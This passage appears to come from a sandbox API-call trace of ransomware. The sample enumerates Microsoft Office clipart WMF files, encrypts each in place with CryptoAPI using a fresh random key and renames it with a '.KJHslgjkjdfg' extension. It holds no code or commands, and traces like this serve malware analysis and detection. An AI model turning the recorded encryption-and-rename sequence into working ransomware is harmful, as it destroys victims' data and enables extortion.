WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.616] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.616] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.616] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.617] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6180, lpOverlapped=0x0) returned 1 [0182.618] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6180, dwBufLen=0x6180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6180) returned 1 [0182.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.618] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6180, lpOverlapped=0x0) returned 1 [0182.619] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.619] SetEndOfFile (hFile=0x114) returned 1 [0182.621] GetProcessHeap () returned 0x2a0000 [0182.621] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.621] GetProcessHeap () returned 0x2a0000 [0182.621] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.kjhslgjkjdfg")) returned 1 [0182.623] CloseHandle (hObject=0x114) returned 1 [0182.623] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0182.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.624] GetProcessHeap () returned 0x2a0000 [0182.624] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.624] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.624] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0182.628] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.628] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.628] GetProcessHeap () returned 0x2a0000 [0182.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.628] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.628] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.628] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.628] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.628] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.629] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x21b2, lpOverlapped=0x0) returned 1 [0182.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21c0, dwBufLen=0x21c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21c0) returned 1 [0182.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.639] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x21c0, lpOverlapped=0x0) returned 1 [0182.639] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.639] SetEndOfFile (hFile=0x114) returned 1 [0182.642] GetProcessHeap () returned 0x2a0000 [0182.642] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.642] GetProcessHeap () returned 0x2a0000 [0182.642] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.kjhslgjkjdfg")) returned 1 [0182.643] CloseHandle (hObject=0x114) returned 1 [0182.643] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0182.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.644] GetProcessHeap () returned 0x2a0000 [0182.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.645] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.647] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.647] GetProcessHeap () returned 0x2a0000 [0182.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.647] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.647] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.647] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.647] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.647] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.647] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.647] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.647] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.647] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe42c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe42c, lpOverlapped=0x0) returned 1 [0182.649] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe430, dwBufLen=0xe430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe430) returned 1 [0182.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.650] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe430, lpOverlapped=0x0) returned 1 [0182.650] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.650] SetEndOfFile (hFile=0x114) returned 1 [0182.653] GetProcessHeap () returned 0x2a0000 [0182.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.653] GetProcessHeap () returned 0x2a0000 [0182.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.kjhslgjkjdfg")) returned 1 [0182.655] CloseHandle (hObject=0x114) returned 1 [0182.655] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0182.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.658] GetProcessHeap () returned 0x2a0000 [0182.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.658] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.658] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.662] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.662] GetProcessHeap () returned 0x2a0000 [0182.662] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.662] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.662] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.662] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.662] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.662] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.662] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.663] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.663] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.663] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.663] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1088e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1088e, lpOverlapped=0x0) returned 1 [0182.665] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10890, dwBufLen=0x10890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10890) returned 1 [0182.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.665] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10890, lpOverlapped=0x0) returned 1 [0182.666] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.666] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.666] SetEndOfFile (hFile=0x114) returned 1 [0182.669] GetProcessHeap () returned 0x2a0000 [0182.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.669] GetProcessHeap () returned 0x2a0000 [0182.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.kjhslgjkjdfg")) returned 1 [0182.671] CloseHandle (hObject=0x114) returned 1 [0182.671] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0182.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.673] GetProcessHeap () returned 0x2a0000 [0182.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.673] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.673] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.675] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.675] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.675] GetProcessHeap () returned 0x2a0000 [0182.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.675] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.675] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.675] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.676] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.676] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.676] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.676] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.676] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.676] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x107ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: 